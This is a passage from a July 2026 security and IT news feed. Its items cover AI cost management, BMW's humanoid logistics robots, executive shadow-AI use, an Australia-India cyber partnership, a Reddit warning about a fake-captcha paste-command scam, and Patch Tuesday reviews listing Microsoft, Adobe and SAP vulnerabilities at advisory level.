World tries to manage that uncertainty by defining the business problem, success criteria, and expected operational improvement upfront. Pilots help estimate consumption before scaling, but Corrigan says they don’t remove the ambiguity.



“We’ll try our best in the pilot to understand what the consumption rate is, what the token burn rate is,” he says. But once a consumption-based workflow goes into production, he adds, an estimate is put into place. That estimate is informed, but still rough.



Elmer Morales, founder and CEO of koder.com, an agentic AI coding startup, says CIOs should think less about headcount and more about workflow mechanics. Agentic AI costs are driven by the number of decisions an agent makes, how often it retrieves external data, how much context it carries, and how many systems it touches.



“CIOs should start by mapping workflows, not necessarily users,” he says. “The relevant variable isn’t going to be the headcount but how many decisions an agent makes per task.”



Model the failure path, not just the happy path



Pilots can mislead because they often test the cleanest version of an AI workflow. Morales says many enterprises model agentic AI costs around the happy path: the user gives a clear prompt, the system understands the request, the agent completes the task, and the process ends. Production is messier.



“They generally don’t model for situations where the agent is going to need to go back and check its work and redo things,” Morales says. “A lot of times, agents are wrong, either because they hallucinate or they understood the problem incorrectly.”



In an agentic workflow, the system may check its work, call another tool, retrieve more data, or redo a step. While that may improve quality, it also adds cost.


 width="1240" height="827" sizes="auto, (max-width: 1240px) 100vw, 1240px">Elmer Morales, founder and CEO, koder.com
koder.com



The difference between copilots and agents is central. A copilot interaction is often one prompt and one response. An agentic workflow may involve agents moving through a decision tree, executing tasks in sequence or in parallel, and calling sub-agents or external systems along the way. “By the time it’s achieved the original goal, the agent might have made 50 or 100 model calls, compared with a single call for a traditional copilot prompt,” Morales says.



That’s why CIOs should require teams to model the failure path before production, like how many retries are allowed, how much context is resent, which tools can be called, when a human should intervene, and what happens when the agent can’t complete the task.



Build cost controls into the architecture



Traditional FinOps practices still matter, but AI requires more than retrospective dashboards and chargebacks.



According to Pavan Madduri, senior cloud platform engineer at industrial supply company Graigner, looking backward at usage data, as traditional FinOps often does, can be too late. Costs are shaped by prompt design, model selection, agent behavior, orchestration choices, and runtime loops.



“Dashboards or chargebacks, those are historical accounting,” he says. “The money’s already gone.” For AI, he argues, cost controls need to be embedded into the architecture. That includes hard token caps, retry-depth limits, maximum runtime limits, workload prioritization, background-job throttling, and cluster-level controls that prevent runaway consumption.



“The real FinOps means you need to have the cost constraints embedded into your architecture framework,” Madduri says.



Those controls also extend to infrastructure. Expensive GPUs may sit warm between jobs because systems need capacity available when inference demand arrives. Teams may pass huge schemas, databases, or thousands of lines of code into frontier models when a smaller or more focused prompt would do.


 width="1240" height="828" sizes="auto, (max-width: 1240px) 100vw, 1240px">Pavan Madduri, senior cloud platform engineer, Graigner
Graigner



Enterprises should also adopt event-driven autoscaling, Madduri says. “Use tools like KEDA to scale GPU nodes down to zero the moment inference demand drops, so teams only pay for the windows when the silicon is actively crunching tokens.”



Corrigan says World uses rate limits, spend limits, alerts, and approval gateways for consumption-based tools. When users approach token consumption limits, automated alerts allow IT and the business to review whether the continued spend is justified.



“If it’s not meeting the success criteria we expected, you have to have the control in place to say we’re going to move on or kill that process,” Corrigan says.



Route work to the right model



CIOs can also reduce AI bill shock by avoiding a default assumption that every task requires the most powerful model available. While some tasks need advanced reasoning, many others don’t. A simple support ticket, log-parsing task, or structured database transaction may be handled by a smaller or cheaper model. A complex architecture decision, legal analysis, or multi-step reasoning task may justify a more powerful one.



“Choosing the right model for the right prompt and right question — that’s where you leverage the maximum from that model, and you can decrease the costing,” Madduri says. “If you default every single call to a frontier model, that’s architectural laziness.”



Morales makes a similar point. Not every step in an agentic workflow requires a top-of-the-line model. Model routing, he says, is the discipline of determining the best model for the task, and providing the relevant context when the model needs it.



According to Jim Olsen, CTO of enterprise software company ModelOp, CIOs should use the least expensive model that can accomplish the business goal. Using the biggest model for everything is easier, but expensive. “It’s like hiring the most expensive engineer to change a few colors in a website’s CSS, or visual styling,” he says. “You wouldn’t do that. You use the appropriate tools for the task.”



Tie consumption to business value



For Olsen, the deeper enterprise problem is AI value shock, not just bill shock. Spending $200,000 in a quarter on AI is justified if it produces $2 million in business value. The problem is spending heavily on use cases that don’t generate a meaningful return.



“Are you actually getting that return on investment, or are you just blowing tokens for something that’s not delivering the value to your business?” Olsen asks. Tracking token usage by user or department may show who consumed AI, but not whether the consumption mattered.


 width="1240" height="827" sizes="auto, (max-width: 1240px) 100vw, 1240px">Jim Olsen, CTO, ModelOp
ModelOp



For most enterprise AI systems, Olsen says costs should be tied back to business use cases. A model may be used for HR document search, customer support, code review, problem resolution, or other functions. Each use case may draw on the same underlying models or agents, but the business value can be very different.



That’s why he argues that companies need an AI inventory, a record of which business workflows use which models, agents, providers, workflows, and systems. Without that inventory, enterprises can’t connect consumption to value.



Corrigan takes a similar approach from a governance perspective. At World, new AI ideas go through an intake process. Business users propose improvements, and IT, finance, operations, sales, and business stakeholders evaluate, prioritize, and monitor them from pilot through production.



That may be where the next stage of AI FinOps is heading, toward a clearer understanding of which AI consumption deserves to scale, not just to lower bills. So the question, as Olsen puts it, isn’t whether someone used a million tokens. It’s what are they using them for.



release-publish/dfa246e6fd16-20260715
Wed, 15 Jul 2026 11:47:21 +0200
Release publish tooling for OpenClaw 2026.7.2-beta.1 retry


BMW elevates its AI humanoid robot strategy to include logistics
Wed, 15 Jul 2026 11:35:32 +0200

		
					  
						




When people hear the term artificial intelligence, they usually think of chatbots or data analysis. But at BMW’s Spartanburg plant in the US, AI is now getting hands, legs, and eyes. Under the term physical AI, the automaker is integrating the new humanoid AI robt Figure 03 into its production logistics.



The move comes as no surprise: For almost a year, BMW had the predecessor (Figure 02) welding body parts for more than 30,000 vehicles. The conclusion of this practical test: The machines can precisely perform monotonous, heavy tasks. Now the technology is leaving the testing phase and moving to where things get highly complex: logistics.



The task: Transform chaos into order



While its predecessor simply lifted sheets of metal, the further enhanced Figure 03 has to solve cognitive and tactile tasks. In logistics, it picks unsorted components from large boxes and sorts them into carts in the exact required order. Automated transport systems then take over, carrying them to the assembly line.



To achieve this, the manufacturer has upgraded Figure AI. The new robot has:




Cameras and tactile sensors directly in the palms of the hands for greater sensitivity



Audio functions for true speech-to-speech communication in the factory hall



Wireless charging for continuous, autonomous operation



Softer components to increase safety for human colleagues




At first glance, a humanoid robot might seem like a project solely for the production manager. That’s a misconception. This use case is relevant for everyone, and is highly relevant for CIOs. Figure 03 is ultimately nothing other than a highly complex, mobile edge client that has to process large amounts of data (video, audio, sensor data) locally and in real-time.


These advanced robots, equipped with new capabilities, are taking on new tasks.
BMW AG



BMW is demonstrating in Spartanburg that such a robot works, but only in a fully digitized ecosystem like an automotive plant. This means that the IT department is the enabler for the production environment of the future.




Virtual twins: Even before the first robot touches a box, BMW simulates Hall 52 and all movement sequences in a 3D “Virtual Factory.” IT provides the planning basis.



AI Quality Control (AIQX): Error detection is performed using cameras and microphones along the production line. The algorithms perform visual and audible checks and send the feedback directly to the smart devices of human colleagues.



Infrastructure scaling: When robots communicate via voice, charge wirelessly, and interact with autonomous transporters, the WLAN, 5G, and network backbone in the factory must have low latency and be fail-safe.




On the one hand, the humanoid robot relieves BMW factory workers of physically demanding work; on the other hand, it forces the IT department to merge traditional IT infrastructure and factory technology (OT). “Physical AI” has thus arrived in everyday industrial practice.



Senior executives abuse shadow AI twice as much as regular employees do
Wed, 15 Jul 2026 11:08:45 +0200

		
					  
						




Shadow IT has long been a major problem for IT leaders, but the biggest problem may be coming from the executive suite’s hunger for unsanctioned AI.



Nearly two-thirds of senior decision-makers admit to using unapproved AI tools, compared to just 31% of lower-level employees, according to a survey by Microsoft solutions partner TrustedTech.



The use of shadow AI is prevalent among senior executives even though three in four employees acknowledge security or data privacy risks related to the practice.



“Most shadow AI users are not ignorant of the risk,” TrustedTech says in a white paper. “They are deliberately choosing to use these tools anyway. This is not a training issue. It is a culture, incentives, and alternatives issue.”



In many cases, the problem is driven by a lack of approved tools, the report adds.



“People use shadow AI because what their employer hands them is worse than mainstream AI tools, or because nothing has been approved in the first place,” the report says. “That doesn’t change until the sanctioned tools are genuinely worth using.”



A question of authority



The use of shadow AI by CEOs and other C-suite executives can create major problems for CIOs, CISOs, and other IT executives because they may not have the authority to put the kibosh on it.



It also presents a challenge for IT leaders to provide the AI tools that employees and executives want to use.



When executives use shadow AI, CIOs are in a difficult position, because governance only works when it’s modeled from the top, says Andy Nolan, VP of technology at TrustedTech.



“If senior leaders bypass approved AI tools or policies, it sends an implied message that speed matters more than security and compliance,” he adds. “Employees notice that behavior, and it becomes much harder to ask the rest of the organization to follow standards that leadership isn’t following themselves, first.”



Another major problem is that executives often work with highly sensitive information, including financial data, strategic plans, intellectual property, and customer information, he notes.



But CIOs and CISOs also can’t solve the problem by becoming the AI police in every situation, Nolan says, because their role is to help the business innovate safely.



“That requires executive alignment, clear governance, and providing secure AI tools that people actually want to use,” he adds. “When leadership embraces those solutions, the rest of the organization is almost sure to follow.”



All risk, no reward



The use of shadow AI by senior executives puts CIOs and CISOs in an impossible position, agrees Amit Maloo, CISO at AI procurement provider Ivalua. CIOs and CISOs are held accountable for the risk exposure but have no visibility into the problem, he says.



“When senior leaders use ungoverned AI tools for business decisions, those decisions still have consequences, such as financial commitments, contract reviews, and data sharing,” he adds. “But there is no audit trail, no permissions model, or no way to reconstruct what happened or why.”



Part of the problem is that approved AI options often don’t meet the needs of users, Maloo says.



“AI policies alone aren’t enough; organizations need to pair governance with usability,” he adds. “If approved AI tools don’t meet the pace of business, employees at every level, including leadership, will find their own solutions. Successful organizations will be those that make the secure path the easiest path.”



IT leaders can’t solve the problem with more governance, he notes. “Policies and restrictions slow shadow AI down, but they don’t stop it, especially when the people using it are senior enough to absorb the disciplinary risk,” Maloo adds. “What CIOs can do is focus on providing tools that grant users full access to the necessary systems and data, eliminating the need to choose between a capable but ungoverned tool and a safe but limited one.”



Speed over security



The TrustedTech data echoes a June report from employee monitoring software vendor Teramind, which found that more than two-thirds of C-level executives prioritize speed over security when using AI tools, notes Nik Kale, a principal engineer and product architect at Cisco, and member of the Coalition for Secure AI.



In addition, the Teramind report found that two-thirds of enterprise AI activity runs through personal accounts on platforms for which the company already owns licenses, he notes.



“People are paying for the governed version and using the ungoverned version of the same product, so the problem isn’t the tools,” he says. “The approved path is slower, buried in procurement, or disconnected from where the work actually happens, and speed wins every time under a deadline.”



The problem then isn’t with the AI tools, but with the friction involved, he says. “People aren’t going around the front door because the room is locked,” Kale adds. “They’re going around it because the front door is slower.”



In many cases, the use of shadow AI exposes a couple of shortcomings in enterprise processes, adds Matthew Scavetta, chief technology innovation officer at IT solutions provider Future Tech Enterprise.



Many organizations don’t do a good job of making employees aware of the AI tools available to them, he says, and many organizations don’t offer training on the sanctioned applications, which drives users to pick products they are familiar with.



“If you don’t solve problems for people quickly or make people aware of which tools they can use safely, they will find a workaround,” he adds. “AI tools are no different than anything else.”



Shadow AI use by executives puts IT leaders in an incredibly difficult position, he says.



“CIOs, in particular, are under more and more pressure each year to keep up with what’s possible as tech influencers keep preaching about the potential of these tools,” Scavetta says. “CEOs and board members are constantly getting swept up in the hype; meanwhile, there are more and more case studies coming out showing how little ROI some organizations have realized. It’s a never-ending game of balancing possible with practical.”



Australia-India PACTS to Deepen Cybersecurity and Tech Collaboration
Wed, 15 Jul 2026 10:53:15 +0200








Australia and India have unveiled the Australia-India PACTS, a new framework designed to deepen bilateral cooperation on cybersecurity, critical technologies, supply chain resilience, digital resilience, and defence research.
The new partnership replaces the 2020 Framework Arrangement on Cyber and Cyber Enabled Critical Technology Cooperation and aims to strengthen national security, economic growth, and regional stability across the Indo-Pacific.
The two countries said the Australia-India Partnership on Cyber, Critical Technologies and Supply Chains (PACTS) builds on two decades of research collaboration, operational coordination, and policy engagement. It also reflects their shared commitment to creating secure digital ecosystems while promoting trusted technology partnerships.

Australia-India PACTS Built on Five Pillars
The Australia-India PACTS is structured around five pillars that will drive collaboration between governments, research institutions, universities, and the private sector. The framework is intended to increase two-way investment in emerging technologies while supporting innovation and the commercialisation of research.
The first pillar focuses on supply chain resilience by strengthening trusted technology supply chains and promoting secure trade. Both countries will establish a bilateral mechanism for trusted vendor frameworks and work together to improve undersea cable security through the Quad Partnership for Cable Connectivity and Resilience. The partnership also includes collaboration on semiconductor research, critical minerals, and trade diversification.

Australia-India PACTS Expands Critical Technology Collaboration
The second pillar focuses on critical technologies, with Australia and India planning to strengthen cooperation in artificial intelligence, telecommunications, biotechnology, advanced materials, and space technologies.
The framework also supports the development of international standards for trustworthy AI and encourages collaboration between academic institutions and industry to promote responsible AI deployment. The two countries will also explore joint research, investment initiatives, and commercial partnerships in emerging technologies to strengthen long-term economic security across the Indo-Pacific.

Australia-India Prioritises Cybersecurity
A major component of the partnership is Australia India cybersecurity cooperation. Under the third pillar, both governments will work together to counter cybercrime, deter malicious cyber activity, strengthen cyber policy coordination, and protect critical infrastructure.
The framework proposes a consolidated bilateral mechanism for cyber and ICT cooperation, expanded engagement in United Nations cyber processes, increased trade opportunities for cybersecurity businesses, and practical workshops involving government agencies and industry stakeholders.
The partnership will also establish a cyber technology skills incubator to promote knowledge exchange and workforce development.

Australia-India PACTS Advances Digital Resilience
The fourth pillar focuses on digital resilience across the Indo-Pacific. Australia and India will collaborate on trusted Digital Public Infrastructure initiatives and promote scalable digital solutions that support connectivity, healthcare, education, renewable energy, critical infrastructure, and digital transformation.
The partnership also seeks to expand pilot projects that help countries across the region build adaptable digital ecosystems while strengthening regional capabilities.

Defence Research and Governance Framework
The fifth pillar strengthens defence science collaboration through joint research, innovation partnerships, and greater engagement between Australia's Defence Science and Technology Group and India's Defence Research and Development Organisation.
Areas of cooperation include maritime surveillance, advanced materials, defence innovation, and stronger links between defence start-up ecosystems.
The Australia-India PACTS will be jointly overseen by the Australian Deputy Secretary of the International and Security Group within the Department of the Prime Minister and Cabinet and the Indian Deputy National Security Advisor. Annual Senior Officials Meetings will review progress, assess emerging cyber and technology risks, and identify future collaborative projects under each pillar.
With the launch of Australia-India Partnership on Cyber, Critical Technologies and Supply Chains (PACTS), both countries have outlined a long-term roadmap that brings together cybersecurity, critical technologies, supply chain resilience, digital resilience, and defence cooperation under a single strategic framework aimed at strengthening security and technology collaboration across the Indo-Pacific.











CVE-2022-3449 | Google Chrome up to 106.0.5249.91 Safe Browsing use after free (EUVD-2022-42823)
Wed, 15 Jul 2026 10:39:17 +0200
A vulnerability was found in Google Chrome and classified as critical. Affected is an unknown function of the component Safe Browsing. Such manipulation leads to use after free.

This vulnerability is traded as CVE-2022-3449. The attack may be launched remotely. There is no exploit available.

It is suggested to upgrade the affected component.


Patch Tuesday roundup: Microsoft fixes a monthly record 569 holes; SAP patches a critical memory corruption bug
Wed, 15 Jul 2026 04:07:16 +0200

		
					  
						




Earlier this month Microsoft warned that, because the latest AI models can now help discover vulnerabilities, CSOs will see a higher volume of security updates every month. It wasn’t kidding.



Today the company issued a record number of patches, with 59 rated as critical. And Microsoft is now recommending that customers accelerate their patching schedules to more quickly deal with critical flaws.



“Normally we have to wait for October or November to determine if we’ll break the previous [annual] patch volume record,” which was 1,245 vulnerabilities found in 2020, commented Satnam Narang, senior staff research engineer at Tenable. But not this year. Tenable counted 569 CVEs that were patched officially as part of this month’s Patch Tuesday, excluding the server-side updates not requiring user intervention, smashing last month’s record of 198 fixes



It’s probable, he said, that by the end of this year, Microsoft will have found over 3,000 common vulnerabilities and exposures (CVEs).



Today’s volume of holes is “striking,” he added, “but it reflects how good these tools have become at finding bugs, not how many of those bugs actually pose a risk to organizations.” 



Separately, SAP released 20 new and updated security patches, including a critical memory corruption vulnerability in NetWeaver Application Server ABAP, SAP Kernel, and frontend services tied to SAP GUI for HTML, which has a CVSS score of 9.9.



Microsoft patches



Among the huge number of CVEs that Microsoft found were three zero-days that need to be patched, including two that have been exploited in the wild. 



Those two are both elevation of privilege vulnerabilities: CVE-2026-56155, an Active Directory Federation Services (AD FS) flaw that allows attackers with limited access to elevate privileges to administrator, and CVE-2026-56164, a Microsoft SharePoint Server vulnerability. 



The third is CVE-2026-50661, a security feature bypass in Windows BitLocker, which was noted as having been publicly disclosed. “We surmise that this could be related to a flurry of zero-day vulnerabilities disclosed by the researcher known as Nightmare Eclipse or Chaotic Eclipse,” Narang said, “though no official confirmation was made. We also know that the researcher promised to drop something on Patch Tuesday.”



While these were the most noteworthy flaws this month, Narang said, for CSOs the July patches prove that the state of the Exploitability Index, which rates how likely a vulnerability is to be exploited, must shift, given the machine speed of exploit discovery. For example, he pointed out, in May, Microsoft originally tagged CVE-2026-45659, a SharePoint vulnerability, as exploitation less likely. However, the vulnerability was added to the US Cybersecurity & Infrastructure Security Agency’s list of known exploited vulnerabilities on July 1.



He added that Anthropic’s Red Team’s own findings for known vulnerabilities (n-days) revealed how fragile the monthly Patch Tuesday system has become, with its Mythos Preview model being able to produce proof-of-concept exploits for 13 of 14 vulnerabilities that were rated as Exploitation Less Likely or Exploitation Unlikely.



“What this means is that our way of looking at Patch Tuesday has changed, because the exploitability index is centered around humans, not AI tools, and as these tools continue to improve, defense needs to improve alongside it,” Narang said.



Dustin Childs, head of threat awareness at TrendAI’s Zero Day Initiative, agreed.



“To call this record-breaking is a massive understatement,” said Childs. “This is the ‘Mother of All Releases’. The bug apocalypse has fully descended upon us, with July’s numbers pushing the year-to-date CVE count past every single full-year total of the last 20 years. Security teams need to take an extended break from their regularly scheduled activities to eat this elephant one byte at a time, starting immediately with active exploits in Active Director FS and SharePoint.”



He particularly drew attention to a near-perfect 9.9 CVSS flaw in Windows VMSwitch (CVE-2026-57092) that allows low-privileged attackers to escape virtual machine boundaries for full host compromise.



Jack Bicer, director of vulnerability research at Action1, agreed that IT leadership should prioritize immediate remediation of the actively exploited Active Directory Federation Services elevation of privilege vulnerability and the SharePoint Server elevation of privilege vulnerability .



After that, he said, priority should be given to these critical vulnerabilities: Active Directory Certificate Services Elevation of Privilege Vulnerability (CVE-2026-54121), which introduces the possibility of attackers impersonating trusted systems and potentially compromising AD through certificate abuse; a Windows Active Directory Domain Services remote code execution vulnerability (CVE-2026-49164) which enables unauthenticated remote code execution against one of the most critical components within Windows enterprise environments; a Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central remote code execution vulnerability (CVE-2026-55944); a Microsoft Exchange Server spoofing vulnerability (CVE-2026-55008); Microsoft SQL Server remote code execution vulnerabilities (CVE-2026-54118 and CVE-2026-54117); and multiple Windows DHCP Server vulnerabilities. 



These holes create opportunities for attackers to compromise financial systems, communication platforms, databases, and core network infrastructure, Bicer pointed out, systems which often provide direct access to sensitive business information and frequently serve as high-value targets for ransomware operators and advanced threat actors. 



There are also important security updates for Microsoft Defender, Bicer added, noting that vulnerabilities affecting endpoint protection software deserve immediate attention because successful exploitation undermines one of the organization’s primary defensive controls.



IT teams must prioritize



AJ Grotto, a research scholar at the Centre for International Security and Co-operation and former Senior White House Director for Cyber Policy, said that Microsoft’s July Patch Tuesday “is a stark reminder that security teams are now operating in an era of vulnerability volume and velocity. With 570 vulnerabilities patched, including three actively exploited zero-days, the biggest concern for CSOs isn’t just the number of flaws, but the concentration of risk around identity systems, collaboration platforms, and privilege escalation pathways. The actively exploited vulnerabilities in Active Directory Federation Services and SharePoint are especially concerning because they target technologies that sit at the center of enterprise trust and access.”



He added, “for CSOs, the challenge is no longer just defending against threat actors, it’s keeping up with an accelerating cycle of vulnerabilities and updates across the Microsoft ecosystem in the AI era. Security leaders should think critically about diversifying their vendors to protect their enterprise and save time and money on patching an increasing list of bugs that nearly tripled month-over-month.”



“While the sheer number of [Microsoft] vulnerabilities might seem alarming on the surface,” said Nick Carroll and Rain Baker of the Nightwing ShadowScout threat intelligence team, “this can actually be seen as a positive sign for enterprise security. It means vendors are finding and fixing flaws before adversaries can weaponize them en masse.”



And Josh Taylor, lead cybersecurity analyst at Fortra, noted that 26 of the Microsoft vulnerabilities have a CVSS base score above 9.0, and 13 of those sit at 9.8. “That matters,” he said, “but CVSS is still only one part of the risk story. The real triage problem this month is the mix of exploited issues, a publicly disclosed BitLocker flaw, and a massive concentration of vulnerabilities in Windows and Office.” 



He said, “for patching teams, this is the kind of month that rewards discipline. The right move is not panic, it is sequencing: put exploited issues and exposed infrastructure first, then let the normal validation process do its job.”



Others increasing their patch cadence too



Chris Goettl, vice-president of product management at Ivanti, noted many software vendors in addition to Microsoft are increasing their security update cadence. For example, Cisco Systems has just shifted to a risk-based, twice-monthly disclosure model (the first and third Wednesday of each month), Mozilla is on a near weekly security update march, and Oracle’s new Critical Security Patch Update (CSPU) program has been delivering targeted critical-severity fixes on the 3rd Tuesday of non-CPU months since May.



Nightwing also noted that Adobe issued 12 separate security bulletins for products in its first twice-monthly bulletin. Administrators must treat today’s Priority 1 ColdFusion update (APSB26-82) with urgency, as it patches a critical 9.9 CVSS path traversal vulnerability (CVE-2026-48318). It’s one of 11 ColdFusion vulnerabilities patched. 



Additionally, retail and web administrators should immediately prioritize Adobe Commerce (APSB26-73), which resolves a 9.6 CVSS flaw allowing unrestricted uploads of dangerous file types (CVE-2026-48356).



SAP vulnerabilities



Jonathan Stross, senior product manager for cybersecurity research and innovation at Pathlock, said the most critical of the SAP fixes is Note 3747367, a memory corruption vulnerability in NetWeaver Application Server ABAP, with a CVSS score of 9.9. The vulnerability affects the ABAP Application Server, SAP Kernel, and frontend services tied to SAP GUI for HTML.



 According to SAP, an authenticated attacker can trigger logical memory-management errors that may lead to unauthorized data access, data modification, or system unavailability. The likely attack scenario involves a compromised account or malicious insider abusing a crafted request that reaches the vulnerable code path. 



“Because a successful exploit can impact confidentiality, integrity, and availability at the platform level, while potentially destabilizing a core ABAP system, organizations should treat this as the highest-priority patch in the July release,” Stross said. 



Prioritize the critical ABAP kernel issue, plus the AppRouter request smuggling note, and the Commerce Cloud sample-credential issue first, he said, because these are the most likely to produce direct security impact in real environments.



But do not treat the updated notes as noise, he added. The July overview includes three re-released items that still matter operationally, and this should be reflected in patch planning and change records. The attack surface is distributed: ABAP, Java, BTP, Commerce, SAProuter, UI5, and supporting libraries all appear in the same monthly cycle, so patching needs coordinated platform ownership.



Thomas Fritsch, an SAP researcher at Onapsis, described the SAP Security notes in detail and noted that SAP teams who can’t immediately install the NetWeaver memory corruption fix can, as a temporary workaround, disable all ICF nodes with a specific property in transaction SICF. However, since the workaround will disable opening transactions in SAP GUI for HTML, it is not an option for all customers and it is strongly recommended to install the patched ABAP Kernel version.



Patching should become continuous



“AI is likely to expose new classes of weaknesses, and will introduce some of its own through AI-assisted development,” commented Gene Moody, Field CTO at Action1. “Logically, with that in mind, the future of updating must become more continuous, more adaptive, and less tied to a fixed calendar. Discovery will not follow business logic; it will be swift and unforgiving. We must accept that, and be just as diligent in our defense, because the cost of failure is higher than the inconvenience of change.” 



He added, “in my crystal ball, I see a future where Microsoft and others move steadily away from scheduled monthly patch cycles in favor of rolling updates for most security issues in as close to live time as they can be researched and released. That would be a win for the entire industry. Faster patch creation and delivery, paired with more agile practices on the customer side, would finally start to align patching with the pace of modern discovery and exploitation.” 



“What needs to happen is simple,” he said. “Patching on a calendar is no longer a safe assumption in today’s threat landscape. Patching where and when needed versus scheduled is the only path forward.”



Linux specific malware website tries exploiti using terminal
Tue, 14 Jul 2026 21:02:50 +0200
This website faked a ReCaptcha and literally asks to open the terminal and paste a command. (see image). Very bold.
 Please keep in mind, always try your best to make new users aware of such dangers!
 - I reported it to Google Safe browsing just now, in case anyone wants to try and look at it or help by reporting it too, this is the link in a safe format, assemble it yourself at your risk: "emaliowe . pl".
 - Possibly blocked by Firefox, since I don't have anything in my clipboard after opening the page.
 https://preview.redd.it/worpsjifh8dh1.png?width=720&format=png&auto=webp&s=f0c1254ed439508fda8f799e984ea78820e6378f
 
   submitted by    /u/ShatteredIcicle  
 [link]   [comments]


GNOME OS is Getting a ‘Test Center’ – Making Experimental Software Testing Actually Usable
Tue, 14 Jul 2026 20:39:25 +0200
GNOME OS is getting a dedicated “Test Center” that finally makes testing experimental apps and system components safe, simple, and reversible on image-based distributions. GNOME OS has always been that cool, slightly wild playground for people who live and breathe GNOME. It’s image-based, atomically updated, super secure… and until now, a bit of a pain...
The post GNOME OS is Getting a ‘Test Center’ – Making Experimental Software Testing Actually Usable appeared first on DebugPoint.com. Do not reproduce this post without permission.


The July 2026 Security Update Review
Tue, 14 Jul 2026 20:22:46 +0200
Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.
Adobe Patches for July 2026
Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.
For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.
Here’s this month’s overview table:





















  
  




  


  
    




  
  
  
  
  
  
  


  
    Bulletin ID
    Product
    CVE Count
    Highest Severity
    Highest CVSS
    Exploited
    Deployment Priority
  


  
    APSB26-82
    Adobe ColdFusion
    13
    Critical
    9.9
    No
    1
  
  
    APSB26-73
    Adobe Commerce
    13
    Critical
    9.6
    No
    2
  
  
    APSB26-78
    Adobe After Effects
    3
    Critical
    7.8
    No
    3
  
  
    APSB26-83
    Adobe Animate
    6
    Critical
    8.6
    No
    3
  
  
    APSB26-71
    Adobe Audition
    6
    Critical
    7.8
    No
    3
  
  
    APSB26-81
    Adobe Bridge
    6
    Critical
    7.8
    No
    3
  
  
    APSB26-77
    Adobe Creative Cloud Desktop Application
    2
    Critical
    8.1
    No
    3
  
  
    APSB26-74
    Adobe Experience Manager
    13
    Critical
    9.6
    No
    3
  
  
    APSB26-79
    Adobe Illustrator
    5
    Critical
    9.3
    No
    3
  
  
    APSB26-72
    Adobe Media Encoder
    5
    Critical
    7.8
    No
    3
  
  
    APSB26-76
    Adobe Premiere Pro
    4
    Critical
    7.8
    No
    3
  
  
    APSB26-80
    Content Credentials SDK
    12
    Critical
    8.2
    No
    3
  


  
    TOTAL
    12 bulletins
    88
    
    
    
    
  





  
  






  While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here. 
Microsoft Patches for July 2026
Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.





















  
  














































  

    
  
    

      

      
        
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                

            
          
        
            
          
        

        
      
        
      

    
  


  





  The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.
So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.
-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege Vulnerability
This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.
-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege Vulnerability
The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.
-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability
This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.
-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution Vulnerability
This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. 
-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability
 This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. 
-    CVE-2026-55008 - Microsoft Exchange Server Spoofing Vulnerability
